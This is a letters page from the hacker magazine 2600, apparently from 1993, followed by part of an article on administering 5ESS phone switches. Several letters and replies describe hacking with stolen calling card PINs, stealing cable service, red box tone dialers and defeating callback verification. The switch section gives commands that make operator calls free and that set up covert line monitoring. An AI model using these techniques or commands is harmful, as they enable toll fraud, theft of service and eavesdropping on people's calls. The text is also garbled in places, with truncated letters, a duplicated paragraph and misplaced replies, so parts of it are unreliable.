INTERNET: 2600@well.sf.ca.us
FAX: (516) 751-2608
Remember, all writers get free
subscriptions as well as free
accounts on our voice mail system.
To contact a 2600 writer, call 0700-
751-2600. If you're not using AT&T,
preface that with 10288. Use touch
tones to track down the writer you're
looking for. Overseas callers can call
our office (516) 751-2600 and we'll
forward the message.
Mall Fallout

Dear 2600:

I just finished reading the article on the crap that went on in the Pentagon City Mall and I am appalled. It seems that the government feels that all hackers are either pirates or dark siders, where in reality only a few hackers are from the shady side and many of the pirates out there are not real hackers. They seem to forget that many of the people who do things like Unix security (or any form of computer security for the matter) got their start in hacking. The best way to fix holes in security is to find them before someone else does. The extent of hacking goes much further than this but it just seems to me as if the “officials” (and I use the word loosely) get scared if someone know how to do something besides run Word Perfect, Windows, or Lotus 1-2-3. I feel that the actions brought about by the Secret Service and the Mall security guards were extremely uncalled for and I stand behind anyone out there who goes out and fights it.

The Knight of Ni
New Jersey

Dear 2600:

The unpleasant incident which occurred to the attendees of the 2600 meeting held in Pentagon City Mall in D.C. is too upsetting. If the mall cops hadn’t bothered the meeting, they might have caught a few shoplifters or someone who was clearly breaking a law.

The news of the incident spread fast, though. I first read it on the Internet, then in the zine. I think the hackers did a good job when they contacted the media (The Washington Post) and several other organizations (EFF, CPSR, ACLU) after the incident. Spread the word around, let more people know, and they can be modified to go through dictionaries, common passwords, words with numbers attached, and almost anything else.

Dear 2600:

I know you must be getting kinda sick of letters from people saying they’re just beginners and they want to ask you some really stupid question you’re almost embarrassed to answer, but.... I was reading a file for beginning hackers and the author warned against using calling card numbers, saying something like, “If you do, you will get caught sooner or later, no matter what.”

Well, because nothing like Telenet or Tymnet is local from here, using calling card numbers is about the only way I can get toll-free long distance. So I was wondering if you could explain to me the general security procedures around this and how one would get caught. I know virtually nothing about it and I’m eager to try some numbers I have.

Dial Tone
Nevada City, CA

There’s nothing stupid about asking a question if you don’t know the answer. It’s a lot dumber not to ask or, even worse, not to answer if you’re in a position to help. As far as calling cards, quite simply it’s a bad idea because the phone number you call from is always printed on the phone bill! We suggest you find another way onto the net, like possibly going through a school and hopping onto the Internet.

Defeating Hardware Locks

Dear 2600:

In the winter issue, The Pizza Maker Hacker asked about “those cryptic parallel port hardware locks”. Well, Pizza Maker, those “locks” are just
little boxes sitting on your machine waiting for a signal from the program to ask if it’s there. Let’s say your program expects that little nuisance to be plugged in. It sends a signal to the box like “Hey, are you plugged in?” If it is, the box replies, “Yeah, I’m here. Go ahead.” and the program continues execution. If the box isn’t there, we can guess that the program says “Hell-ooo? Where are you?” and after a while decides that you aren’t authorized to run that program on that computer.

What would happen if you “shared” one of those annoying little plugs between two or three machines? Like, what if you combined all the same pins on each machine and connected the three into the corresponding hole of the connector? If you’re looking for a way to defeat the darn things, try that. It’s all I can think of.

The Public

Dear 2600:

I notice that several of your readers have written to ask about hardware keys, devices that attach to a parallel port and come with many popular programs, as a form of copy protection. There have been many complaints made about these devices, and people have asked if there is a way to bypass them. There is a company in Canada by the name of Safesoft Systems Inc., which sells programs to defeat the hardware lock security found on many programs. Their address is: Safesoft Systems, Inc., 202-1100 Concordia, Winnipeg, MB R2K 4B8, Canada. Phone: (204) 669-4639, fax: (204) 668-3566. The programs they sell load TSR’s and are designed to fool specific software packages into believing that the hardware key is attached. I hope this may be of help to other readers.

Arclight
Fullerton, CA

Telco Fascists

Dear 2600:

About six months ago, I tried to set up new phone service for an apartment I had moved into. I used a different name than I had previously had my old phone under and told the ma service person that I had not had phone service before. What followed was an abrasive and degrading interrogation for information. I wasn’t “suspected” of anything, but still their “normal procedure” now is to demand both one’s Social Security number and one’s driver’s license number as well as what one does for a living. By the time I was through, she was still demanding both that I give her my landlord’s phone number so they could “verify” me, and trot down to their offices and upchuck identification to them.

Their demand for the Social Security number should be a violation of the Federal Privacy Act of 1975, since they are, for all intents and purposes, the government - at least they are a monopoly one has to use. Maybe Clinton will appoint judges who will take individual rights and privacy a little bit more seriously....

I waited about three months, then phoned ma again to set up service, this time for a friend’s place (I had phoned ma from a fortress phone previously - maybe that helped foul it up). Even though I had used a phony Social Security number for my previous phone account, I gave the name for the previous account and had service connected without them asking for any further info, except for a phone number where I could be reached.

Maybe ma’s aim is to keep people from running up huge phone bills and skipping. That may be the case, but the demand for both Social Security number and driver’s license number amounts to a drastic erosion of privacy and a totalitarianization of identity.

I’m curious if you know if anyone has brought suit against ma based on the Privacy Act regarding this (in California), and if you know if other Baby Bells are putting new customers through the same shit. I’d like to get info on this from other readers.

I’m curious if you might also have info on jail addresses for political prisoners locked down for the heinous crime of hacking.

NA
Sacramento, CA

It also seems as if they don’t really need a real number based on your experience. We do have some prisoners who subscribe (not imprisoned for hacking as far as we know) and, if they want, we will give out their address here or in the Marketplace. We won’t give out addresses without their permission, however. Read on for a letter from one of our prisoner friends.

Dear 2600:

I have an unusual question about my phone system. I’m one of your few subscribers who is currently held in prison (I hope), and the phones I have access to seem to be restricted lines, allowing only collect calls. I have been unsuccessful in placing toll-free calls (1-800) or getting another carrier (10288).

Since there are many phones in this same institution, I assume they are all a part of a PBX or similar system. My question is this: how can I determine what system they are using, and once I do, what sort of vulnerabilities do you think it might have? I estimate about 50 of these collect-only phones in the institution. Some have numbers, but they don’t accept calls.

Do you have any info on typical prison systems, or what one can do on a “restricted line” that only allows collect calls?

Our Winter 1992-93 issue had some info on prison phones. It’s not likely that your system is part of a PBX since phone companies have a class of service for prison phones. That is, while there may be a PBX in the prison, it’s not typical for payphones to be hooked into it. It would be nice,
Dear 2600:

I just purchased your wonderful zine and find it quite interesting. I have had a PC for quite a while and concentrate mainly on software piracy and a substantial bit of programming utilities for my own personal use. Ever since receiving a modem, I am fascinated by the limitless applications that the phone service has to offer. In Volume 9, Number 2, the article on Voice Mail Hacking prompted me to go to a payphone and explore using the numbers provided.

If you have a stolen calling card number, AT&T now offers a great service called Public Phone 2000. It's a complete terminal allowing you to hack on the spot without carrying your own gear. Just dial a system's number, enter your stolen PIN and proceed. It can't be traced back to you because the card's not yours to begin with. The only problem is that you can't retrieve data, but you can test a system and perhaps set up some back doors. The terminals also come with a phone jack for your laptop if you choose to do so.

John Wesley Harding
New Jersey

If you're not overly paranoid about the terminals having little cameras or about having your data captured someplace else, this may just be the service for you.

Dear 2600:

I live in Los Angeles, and I have discovered some strange little "quirks" in the phones here. First of all, whenever dialing any prefix (at least in the 310 area code) and 0002 (i.e. 474-0002, 392-0002, etc.) you will receive what sounds like the high end of a loop. It even has those little pauses every now and then. But I'm unable to verify if it is a loop or what. Also, any prefix and 1110 will give you a 300 baud carrier. This seems to work in both 310 and 213 area code. Just thought I'd notify you guys.

Frion Man
Los Angeles

The 0002 is not a loop. It's a 1004 Hz tone test line. We don't know about the carrier.

Dear 2600:

First off I want to say that your publication is one of the best through the presses. Next I have a question. I am hearing a lot about this Simplex lock article. What issue was that in? I've only been along for the ride since Autumn 92 and I'd like to find back issues of interest to me. Do you have an index made up. a kind of reference guide to 2600? Next a comment about Count Zero's article on COCOT phones in the Autumn 92 issue. Throughout western and central Washington at least, I have noticed a lot of the Texaco stations' phones are COCOTS and they work with no security whatsoever. A simple 1-800 wait procedure works, no keypad lock-out and no mike-mute. Other 2600 readers may want to look into Texaco stations in their area.

Static
Washington

Unless all Texaco stations use the same COCOT vendor, it's unlikely that you'll find these gullible phones at those stations. But if you can figure out where these COCOTS are coming from, you'll find them in all kinds of places. The weakness could be coming from two points - the phone itself or the people who distribute the phone. Both of these bits of information should be on the phone itself. It's important to realize that playing with COCOTs can be more dangerous because sometimes the actual owner of the phone is physically close to you while you're playing games.

Concerning the Simplex article, the issue you want is Autumn 1991. And our long-awaited index threatens to be done later this year.

Dear 2600:

I realize that 2600 is an open forum for free speakers of all types. I think this is a great policy for a national publication. Print it all, let the readers sort it all out. Great. But where do you draw the line? You can't print everything submitted. My comment is, is 2600 the right place for cable TV descrambler/converter box info? The back of Popular Science is full of such stuff. Your space is better saved for more rare info.

When I went to Radio Shack last week and asked if they cut custom crystals (yes), they curtly informed me that they "know exactly what I want that frequency for" and flatly refused to sell it to me. They did sell me the auto dialer. I half expected to find the inside full of epoxy, but it was clean.

In regards to using a switch to select between the stock crystal and the red box 6.553 Mhz crystal, I say great! The added capacity of the wires and switch will lower the frequency of the crystals. Since the 6.553 Mhz is too high (6.490 is best), this is a desired effect. I also think that since everyone will use a slightly different set-up, the resulting tones will be almost unique. DSP will just love that! Thin short wires will produce the least change in the crystals, long thick wires the most. Don't go too far with this or it won't work at all.

A phone book size catalog of test equipment, parts, cables, and computers is free from 1-800-472-7373. Ask for the Buyers Guide.

What's the ANAC for 310 and/or 818 areas?

Mouse Balls

Try 114, 1223, or 61056. It's also possible 760 or 760 plus four digits might work. Hopefully, one of our many Los Angeles-based readers can help us on this one.

Dear 2600:

Let me start by saying your magazine is a great service to the H/P community. Now, in regard to your last issue, the Apple II Evangelist wrote about the inquiries of Radio Trash. My experience with
them was different. After I told them what I wanted (and convinced them that it was possible to order out for a crystal) they refused to sell me the autodialer! I had to go to another Radio Trash to pick it up. Also, your readers might find these 800 numbers of interest: 800-546-1000 (2400), 800-546-2000 (2400), 800-546-2500 (9600), 800-546-3000 (1200).

MW
Ohio

Radio Shack has apparently caved in to pressure from either federal authorities or the phone companies concerning their modifiable tone dialers. It’s not the first time. Their valuable CPA-1000 consumer pen register was discontinued because of similar pressure. Fortunately, most of us don’t think of Radio Shack as a reliable source, but rather as a last resort.

Dear 2600:

The ANAC for Albuquerque, NM this month is 990-4312. Have fun!

Martian

Dear 2600:

Concerning the DC meetings, the numbers at the mall cannot be dialed into. These numbers are, by the way: 703-415-9839, 9840, 9841, and 9842 but I guess that is no help. But I did get the Pentagon City Mall Metro Station payphone numbers and they can be dialed into. These numbers are: 703-486-9454 and 9452. So if any of us hear the phones that are right in front of the Metro Gates ringing then we know to answer.

Clovis

Freedom of the Press

Dear 2600:

I have been wanting to loc (letter of comment) your magazine since I first picked it up in the summer of 1991. However, I think I pick it up for a very different purpose than many of your readers. Unlike many of your readers, I actually have no interest in telephones nor do I have an interest in hacking computer systems. I do wish the rates were lower for long distance calls and I firmly believe that they can be, however I do not expect that to change anytime soon... or later.

Rather, I pick up the magazine (at a local BookStop) because I think the audacity of its existence is wonderful. If it weren’t for the fact of such rules as the Freedom of The Press and the Freedom of Information Act, there would be no way for your publication to exist. It would have been shut down some time ago. And if Bruce Sterling’s book is any indication, there have already been many “rogue publications” shut down by opposing forces.

I admire your writers greatly. They have the courage to speak their minds without fearing reprisal from the government or the local police (or even mall cops if your last issue is any indication). I would encourage everyone to keep writing... keep sending articles and locs. I agree with the statement, “Information wants to be free.” I, personally, would not break into systems to get information. But that is just me, I have no interest in doing that. I have to ask for some feedback though on something that I have been contemplating.

You see, I am a person who is fascinated with publishing. I believe in the printed word ultimately. To me, a slightly muddy flyer lying on the street with giant words on it that say, “Hear Me! You Fuckers” is much more powerful than anything in the world. If one person glances at that piece of paper on the street, even if he doesn’t pick it up to read the rest, he has still heard that message. In his mind, those words will stay around for a little bit. This kind of fascination with words and communication in this manner, I believe has been somewhat lost because of our society’s fast pace and growing impatience. It is a lot different from a television where a show comes on and the host says, “I would like to talk to you about...” Click. Bulletin boards are familiar in that aspect depending on whether you give a subject to a message. If there is a subject provided, a person has the choice to skip the message (I know I do when I am in a rush). So, if we relied on these other methods, messages could very well never be heard especially with how choosy the media and the populace is.

Having said that I find that I feel restricted in what I say. I find myself in constant fear that the “wrong type of person” might read the flyer (or article). For instance, I think the crime situation is horrible. Of course it is horrible everywhere, however I mean it’s horrible in the sense that we have two serial rapists running around this area and they have been running for the past two years. As far as I know, there have been no attempts (real attempts) to catch them. Furthermore, I stick to that opinion because we have had two tourist killings in the past year... accompanied with a lot of bad PR... and each time the killer was caught within two weeks (one of them was even across the country). It sickens me that I have to worry about my fiance (who more or less lives in one of the target areas of this rapist) when she’s home alone at night because this bastard police department does absolutely nothing about it. If they are doing something it’s certainly not tangible enough for us to know. I was so mad one night that I wanted to publish an article blasting the local police department and scatter it throughout the area. Then fear set in. If they found out it was me, would there be any reprisal? I am a citizen and they have the power to do whatever they want to me.

Another instance... I have been wanting to write you since I first picked up 2600. However, I have been afraid of what’s going to happen to my name, I work a small part in the giant scheme of the publishing business and I really don’t want my
fears. Therein lies the answer. Strength is in
file. The funny thing is, there is nothing illegal here.

I don’t really believe that a file would be started
on me. I believe that my name would be in the 2600
publishing, which I would guess is related to what
you do, but I am scared of my name being in it. If I
was even offered a free subscription, where would I
send it? A P.O. Box? Registered at the U.S. Postal
Service?

I don’t really believe that a file would be started
on me. I believe that my name would be in the 2600
file. The funny thing is, there is nothing illegal here.
I am literally offering an opinion but it’s almost
impossible to do it under a veil of anonymity any
longer. I have honestly never participated in
anything that was considered illegal (aside from the
usual speeding violations and accidents that were
my fault but who doesn’t have those). However, it is
my opinion that my opinion is dangerous. It is my
opinion that will cause my name to come under
scrutiny. I would subscribe to 2600 with no
problem, but it’s that fear of what happens to my
name and who wants to know about me that scares
me.

I am sure that’s the way that they (meaning the
opposition in general) would rather I be. Heck! It’s
one of the reasons that talk radio is booming!
Anybody can call in and be quite anonymous with
their opinion.

What I would like to hear your thoughts on is
how did you just come upon the decision to just not
worry about it. 2600 is a publication that literally
rides on the edges of freedom of speech. You are
daring mega-billion dollar corporation with ties in
the government to use their influence to squash you.
Yet they don’t do it. Yet you aren’t scared. Why?

You would probably say that my fears are a
teeny bit blown out of proportion. But are they
really?

Not really. And you’re not alone in having these
fears. Therein lies the answer. Strength is in
numbers. It’s because we have more friends than
enemies that we continue to survive. It’s also
extremely important not to let our enemies get the
upper hand by either dictating terms or, worse,
allowing us to imagine what they might do to us if
they could. Self-censorship is the worst kind of all
and by no means is it limited to publications.

Equal Access?

Dear 2600:

I just realized how stuck-up universities are. I
will be attending Philadelphia College of Textiles &
Science in the fall of ’93. This college does not have
an Internet connection. So, I decided to call Temple
University and ask them if I could get a non-Temple
student account. I’ll even pay for it if it comes down
to that. They obnoxiously refused. How much
would it really cost them (as a university) to set me
up an account? The reason I did all this is because I
wanted a legal account, and not just another hacked
one.

userid@temple

Your problem is a very common one. Fortunately,
judging from your address, you were able to overcome it. We can understand the
university’s reluctance to allow “outsiders” access
to their systems but what they fail to realize is that
people aren’t going to just accept being kept out in
the cold. We believe people have the fundamental
right to hitch a ride onto the information highway.
Just don’t kill the driver.

Help Needed

Dear 2600:

I have many of your magazines and attend all of
your meetings at the Citicorp building. I have been
into phones and computers for many years. I am
interested in building a DTMF Decoder for
educational purposes. I found the project in your
Spring 1990 Issue. After buying most of the parts, I
am sad to say that the main IC Chip needed for the
project is not easily available to me.

I sent my $12.50 to the company W.E.B. in
Spring Valley, California as you said in the article
but the envelope came back to me and said the
address no longer existed. I need to get a SS1202
(maybe SS1202) IC chip which is the DTMF
Decoder. I have all the parts except that. This is
kinda messed up if I wasted my time and money on
all the parts already. I should have gotten that part
first but didn’t know I was going to run into this
trouble. Please can you tell me where I might obtain
this IC Chip from? It is the last part that I need to
complete my project.

Reuben
NYC

We’re checking into it and our readers will no
doubt contribute information. Hang in there.

Cable Potential

Dear 2600:

In response to your request for information on
cable television, I know a few tricks. You must
actually have basic cable to do these things. The box
that selects channels is what controls which
channels are unscrambled, so if you activate a
premium channel, then cancel it if you can retain
unscrambling capability by unplugging your box
when the signal is sent from the main office. So
when you deactivate a channel make sure there is no
power going to the box when they tell you to turn on
your TV. They usually do their checking up late at
night or in the early morning, so at night unplug the
box. You will then continue to receive premium
cable channels when the cable company thinks you
don’t.

Master Quickly

It’s hard to believe it could be this easy. But it
certainly wouldn't be the first time.

On Beige Boxing

Dear 2600:

The Phoenix's article on beige boxing in the Spring 1993 issue was interesting. There's another, simpler way to get the "monitor" capability discussed.

Get a really old rotary phone. The phone must be of the type that doesn't let you hear the pulses as you dial. (Newer rotaries and tone/pulse switchable phones do let you hear them.) Just install this as an extension on the line you want to monitor and take out the microphone from the mouthpiece. Leave it off the hook and it will behave just as The Phoenix described!

Andrew Sharaf
Brooklyn

Unlisted Directories

Dear 2600:

I just want to say that I think your "zine" is the best on the planet. I also wanted to confirm something you printed in one of your issues. Although I can't remember which issue it appeared in, I do recall reading about the Fone Co circulating special directories containing unlisted telephone numbers. Believe me, this is true. At least it used to be. Back in B.C.T. (Before Computer Typesetting), I used to work in a print shop that produced these directories. They were printed on a daily basis. Each night we would receive a new list of "changes" or "updates" for specific numbers. Each "page proof" was printed from a tray of lead type. My job was to find the correct page (alphabetically filed) and update the "proof" for the next day's press run. These updates included unlisted phone numbers, changed numbers, disconnects, etc. There was virtually no security so naturally, every now and then, an unlisted number or two was "reborn" unto the public domain. I don't know if the directories are still produced, but I believe the same company is still in business. Their name is/was Alexander Typesetting in Indianapolis, IN. Might be a good place for some "diving". Eh?

SDW
Fort Lauderdale, FL

Probably not after this letter appears. But this does raise quite a few potentially interesting possibilities. Anyone have more info on this kind of thing?

Callback Defeat

Dear 2600:

In your article in your Autumn 1992 issue by Green Hell, you made the subject of defeating callback verification very complicated. When I did it, I didn't use any switches or synthesizers or anything. When the board said "Hanging up to call you back" I simply picked up the phone, hung up the modem, and waited for the board to dial, then I typed "ATA" and hung up the phone. It worked out fine. I would have tested it further but I got sent to a group home!

MJ
California

Life can be like that.

Another Way to Fix Credit

Dear 2600:

I read with interest all of the problems that many readers expressed about messed up credit ratings and problems with the big three credit rating companies (TRW, TransUnion, and Equifax).

I just declared bankruptcy about a year ago and, obviously, my credit rating is in the shitter. The things I have done include getting my free annual copy of the report from each of the three companies and then systematically going through and challenging every derogatory item listed in it. When they receive this, they then must contact the creditor and have them re-verify all information in the credit report. The catch is that the creditor has 15 days in which to do this. If they do not respond within that timeframe, the item is deleted from your credit report. With more and more people catching on, this will soon change because the creditors do not have enough resources to move that fast and respond to the credit report company's requests for re-verification. If they do, oh well. Try again and again and again. At some point, the creditor will goof and the item will be deleted. This is exactly what all of those "Clean Up Your Credit" scam-folk do for a lot of money.

One thing that is really distressing is how easy it is to access someone's credit report. Arrowhead Water accessed my TransUnion and I never gave them my SSN or even my permission! They just did it. When I called and complained, they did nothing (of course).

Also, a good many would-be creditors do not check credit reports - which is strange considering how easy they are to get. Usually it is realtors or landlords with a place for rent. They will ask you how your credit looks. Depending on your answer, they may or may not get a credit report. Usually, if you say it is good, they won't but will tell you they will.

Let's face it, the credit reporting agencies run our lives. You cannot even subscribe to the L.A. Times without the obligatory credit check. Try opening up a new bank account. Or what about Telecredit and Telecheck check authorization services? All of these seemingly innocuous services all have the perfunctory credit check and if it happens to be bad, well, tough luck.

Anybody have any ideas? I'd like to see a story about the credit scam in 2600. Keep up the good work!

ES
Hollywood
Another Simplex Story

Dear 2600:

It was my pleasure to read your Simplex locks article, and it’s been enjoyable following letters about them ever since. This is a story about the false security that they seem to give.

The medical school in town has a computer lab which is divided into two rooms. The smaller first room accessible by the hallway has a Simplex lock on it. The second room, accessible through the first, does not. They keep the second room locked via a deadbolt, while the first, although deadbolt equipped, is protected only by the Simplex lock.

One night while studying late, I took a break and tried the default combination out of boredom. To my surprise it worked! Having a vested interest in the computer lab I was appalled by their security and showed the operators your article so none of the computers would go for a stroll. It has been five months since then and the combination still hasn’t changed.

This isn’t the only place on campus “protected” by these locks. I wonder how many more are still set on default combinations.

PB
Deerfield, MA

For a quarter tone, it should be in the 30 to 35 range. So your first choice would be correct. A dime, however, is approximately 60 ms on and off repeated twice. You might be interested in our latest red box plans located on page 42.

Female Hackers

Dear 2600:

I love your mag! Thought I’d write cause I never see “females” featured in any way in your publication. Is it because there aren’t any avid female hackers? I know for a fact it’s a “man’s world” in hacking circles. Many times I’ve been teased and even slandered by guys. Most think women can’t hack and if they do, then it must be because they look like a dog or are not very feminine. I wish this image would change someday.

I have a daughter who has taken an interest in computers. I’m teaching her what I know. I have loved hacking from the early days of the home brew club in SF. I used to send my brother to the meetings. (Few women went back then.) I remember my first computer. It came in pieces in the mail. It was dumb - looked like a window air conditioning unit with lights, but I loved it! I was hooked for life. Those were the days! I still tinker and build electronic things. Back then we were known as “hardware hackers”. Well, enough nostalgia. I wish to know if you know some boards or clubs that cater to “the fair sex”. I have met many female phone phreaks but few true hackers. Do they exist?

A-Gal
Florida

Images don’t change themselves. This is one of those society things we’re all going to have to work on to a degree. Female hackers certainly do exist - they just hide themselves better.

COCOT Question

Dear 2600:

I have a question regarding the “Shopper's Guide to COCOTs” article in your Autumn 1992 issue. It seems that when I call the 1-800 numbers to get an unrestricted dial tone, I don’t! When the person on the other end of the line hangs up, I get the recorded operator and that ever-so-annoying off-hook sound, but no dial tone. Can anyone help?

DW
Providence, RI
It sounds like your local central office has a feature that doesn’t allow a dial tone to be returned after the called party hangs up. In other words, you can’t call someone, have them hang up, and get a dial tone unless you also hang up. One reason for this is to prevent exactly what you’re trying to accomplish. However, your central office will probably return a dial tone to a phone that’s been called when the calling party hangs up. So, if somebody calls your COCOT, you pick it up, then they hang up, you could conceivably get a dial tone.

New York’s 890 Exchange

Dear 2600:

I love your magazine. I still find it hard to believe that you actually exist. It’s like a dream come true.

Regarding the 890 exchange in the 212 area code, I am wondering if you can make sense out of something for me. In the 890 exchange as I try various combinations of last four digits, I get different results. For example: 8xxx gets me a message that such a number does not exist under the 518 area code. Similar messages are received on other numbers but with a different area code. 4xxx gets a 607, 7xxx gets a 315, 9xxx gets a 914, 3xxx gets a 212, etc. Are these calls being routed to a different area code using the 890 exchange? Also, 6664 gets a high pitched beep, 0000 rings for about 40 seconds and then goes dead, 6000 gets a human operator, and 5xxx is simply dead space.

What goes on?

The Shepherd
Brooklyn, NY

The 890 exchange in New York routes all over the place. Since New York Telephone has its offices spread out, the 890’s provide a toll-free and uniform way for customers to reach them using call forwarding. By the way, that high pitched beep sounds like a modem to us.

The Best ANAC

Dear 2600:

I work for a Baby Bell entity. But the best ANAC I have come across isn’t one of ours. It’s from a well known international network. Not only does this baby give you the seven digit number you’re on, but your area code and class of service! Try it: 10732-404-988-9664. I get about 90 percent success. The digitized announcer has a definite east coast accent.

Non-Stop Phone Phreak
West Coast

This number’s been around for a while and we’ve found it to be a very dependable toll-free nationwide ANAC. We’d like to know more about the class of service distinctions. Our numbers always have an eight tacked on at the end. Then we hear 000-000-000-2. Who knows what this means?

A Special Request

Dear 2600:

The last issue was great. Keeping the government and large corporations accountable is an invaluable and highly underappreciated activity. We must all bear witness to misdeeds if we want any justice. In my opinion 2600 should continue this task, along with a smattering of entertainment to keep up the readership. Consider yourselves civil servants of the highest order.

Along those lines, I have a question for your readership. Has anybody heard of a program or a card for the PC to decode the L.A.P.D. Mobile Data Terminal transmissions? I have the frequencies (900 Mhz) but the format of the data is beyond me. It’s not cryptic, just complex. I’m sure the vast majority of the 8000 L.A.P.D. officers are there to protect and serve. But the rest must be kept accountable. We need access. Can you help?

Matthew
Los Angeles

Yet another project for our Los Angeles readers. They’ve certainly come through in the past....
SCREEN 1 OF 2

RECENT CHANGE 1.11

BRCS FEATURE ASSIGNMENT (LINE ASSIGNMENT)

1. TN 5551212
2. OE
3. 6. MLHG
4. 8. BFGN
5. PTY
6. MEMB

FEATURE LIST (FEATLIST)

ROW FEATURE A P 15 FEATURE A P 19 FEATURE A P 23 FEATURE A P
1. 1. /CFV N
2. 3.
3. 4.

main menu in the RC/V APPRC menu system of the 5ESS, enter 12 for the “BRCS FEATURE DEFINITION”. Then access screen 1.11. This is the BRCS screen. When it asks you to “ENTER DATABASE OPERATION” enter “U” for Update and hit return.

2. Type in the Telephone Number. It should look like the example on the top of the page and will prompt you with:

Enter Insert, Change, Validate, screen# or Print: 

I: to insert a form
C: to change a field on a form
V: to validate the form
A: to display the desired screen number
P: to print the current screen
U: to update the form

Enter “C” to change, access field 11 and row 1 (go to the /CFV wherever it may be) or add /CFR if it is not there. If it is though, leave the “A” (Active) field “N” (Yes or No). Change the P (presentation) column to “U” (Update). Then hit return.

Note: Different generics have other features, one of them being an AC (Access Code) field. This field is a logical field. That means it only accepts “Y” for yes and “N” for no. Also when adding the feature to the switch, the row and field numbers may not be shown, but will always follow this pattern. Also note that the /CFV (Call Forwarding Variable) feature may not be there. There may be no features on the line. These examples are from Generic 4(2). Here is an example of 5E8 (which is not used in too many places).

Menu 1.11 in the BRCS Feature Definition is shown below. Hit return twice to get back to “ENTER UPDATE, CHANGE, SCREEN #, OR PRINT:”. Enter a “U” for update and hit return. It will say “FORM UPDATED”.

3. Next access screen 1.22, call forwarding (line parameters) or it will just come up automatically if you set the “P” to “U”.

Fri Mar 14 09:42:32 1992 RFLNTN

5ESS SWITCH WCDS0

RECENT CHANGE 1.22

CALL FORWARDING (LINE PARAMETERS)

1. TN 5551212
2. 6. FEATURE CFR
3. 9. FWDTDN
4. 10. BILLAFTX 0
5. 11. TIMEOUT 0
6. 12. BSTNINTV 0
7. 13. CPTNINTV 0
8. 14. BSING N
9. 15. SIMINTER 99
10. SIMINTER 99
11. SIMINTRA 99
12. CFMAX 32
13. CFDAIO - call forward don't answer i/o
14. CFBLIO - call forward busy line i/o
15. /LIDLXA - CLID
16. /CFR - Remote Call Forward
17. /CW1 - Call Waiting
18. /CPUO - call pick up o - used in the selq1 field

Adding Other Features

To add other features onto a line, follow the same format for adding the /CFR, but you may not need to access 1.22. Some other features are:

/LIDLXA - CLID
/CFR - Remote Call Forward
/CW1 - Call Waiting
/CFB - Call Forwarding
/CPUO - Call Pick Up

Fri Mar 14 09:42:32 1992 RFLNTN

5ESS SWITCH WCDS0

SCREEN 1 OF 2

RECENT CHANGE 1.11

(5112,5113)BRCS FEATURE ASSIGNMENT (LINE)

(*)1. TN 5551212 (*)2. OE (*)3. LCC (*)4. 6. MLHG (*)5. 8. BFGN (*)6. PTY (*)7. MEMB (*)

11. FEATURE LIST (FEATLIST)

<table>
<thead>
<tr>
<th>ROW FEATURE A PA CR</th>
<th>ROW FEATURE A PA CR</th>
<th>ROW FEATURE A PA CR</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>8</td>
<td>15</td>
</tr>
<tr>
<td>2</td>
<td>9</td>
<td>16</td>
</tr>
<tr>
<td>3</td>
<td>10</td>
<td>17</td>
</tr>
<tr>
<td>4</td>
<td>11</td>
<td>18</td>
</tr>
<tr>
<td>5</td>
<td>12</td>
<td>19</td>
</tr>
<tr>
<td>6</td>
<td>13</td>
<td>20</td>
</tr>
<tr>
<td>7</td>
<td>14</td>
<td>21</td>
</tr>
</tbody>
</table>
/CPUT - call pick up t - used in the tpredg field
/CWC1D - Premiere call waiting
/DRIC - Distinctive ring
/ADCT#10 - Inter room ID
/ADCT#2 - 1 digit SC
/ADCT#2 - Inter room ID 2
/ADCT#3 - Premiere 7/30, convenience dialing
/ADCT#3 - Premiere 7/30, no cd
/ADMVP#1 - Premiere 2/6, no convenience dialing
/ADMVP#2 - Premiere 2/6, CD, not control sta.
/ADMVP#3 - Premiere 2/6, CD, control station
/MWCH#1 - Call hold
/MWCTIA2 - Call transfer 2
/TGUUT - Terminal group ID number with TG view (1.29)

**ANI/F the whole switch**

Automatic Number Identification failure (also called “dark calls”) are caused from various different reasons. To understand this better, here are the technical names and causes. Note that this is not in stone and the causes are not the only causes for a ANI-F to occur.

**ANI/F:** Failure to receive automatic number identification (ANI) digits on incoming local access and transport area (LATA) trunk.

**ANI/F2:** Automatic number identification (ANI) collected by an operator following a failure to receive ANI digits on an incoming centralized automatic message accounting (CAMA) trunk from the DTMF decoder.

**ANI:** Time-out waiting for off-hook from Traffic Service Position System (TSPS) before sending ANI digits.

One nice way to get ANI/F through a 5ESS is to use an inhibit command.

**INH:CAMAONI;**

The command inhibits centralized automatic message accounting (CAMA) operator number identification (ONI) processing. This is done from the DTMF decoder. This message will cause a minor alarm to occur. If someone is in the CO when the alarm occurs, they will hear this bell. (It's ringing all the time, because something is always going out.) In this case, the alarm is a level 1 (maximum is five) and the bell will ring once.

Once this message is inputted, all calls through the CAMA operator will be free of charge. So just dial the operator and you will have free calls.

To place this back on the switch, just type:

**ALW:CAMAONI;**

and the minor alarm will stop, and things will go back to normal.

**Setting up your own BLV on the 5ESS from the Craft shell RC/V Channel**

Well, we have come to the fun part, how to access the No-Test trunk on the 5ESS (this is also called adding the third trunk), I will not be too specific on how to do this. You will need to figure it out.

The first thing you want to do is to request a seizure of a line for interactive trunk and line testing. One must assign a test position (TP). This is done using the SET: WSPHONE.

**SET: WSPHONE, DN=x**

Note: SET:WSPOS (1-8), SET:WSLINE could also be used. This will choose a number to be the test number on the switch. Now using the CONN: WSLINE one can set up a BLV.

**CONN: WSLINE, TP=a, DN=b;**

a - TP that you set from the SET: WSPOS
b - The number you want to do the BLV on

To set this up on a MLHG (can come in real useful), do a:

**CONN: WSLINE, TP=a, MLHG=x-y;**

x - MLHG number
y - MLHG member number

To set things back to normal and disconnect the BLV do a:

**DISC: WSPHONE, TP=z**

z = TP 1 through 8

And there is a quick overview. Note that one may need to do a ALW: CALLMON.

**Other Sources**

Here is a list of manuals that you can order from the CIC (1-800-432-6600). Note that some of these manuals are well over hundreds of dollars.

**Manuals:**

- 234-105-110 System Maintenance Requirements and Tools
- 235-001-001 Documentation Guide
- 235-070-100 Switch Administration Guidelines
- 235-100-125 System Description
- 235-105-110 System Maintenance Requirements and Tools
- 235-105-200 Pecutover and Cutover Procedures
- 235-105-210 Routine Operations and Maintenance
- 235-105-220 Corrective Maintenance
- 235-105-231 Hardware Change Procedures - Growth
- 235-105-24x Generic Retrofit Procedures
- 235-105-250 System Recovery
- 235-105-250A Craft Terminal Lockout Job Aid
- 235-105-331 Hardware Change Procedures - Degrowth
- 235-105-44x Large Terminal Growth Procedures
- 235-118-200 Recent Change Procedures Menu Mode Generic Program
- 235-118-210 Recent Change Procedures Menu Mode
- 235-118-213 Menu Mode SE4 Software Release
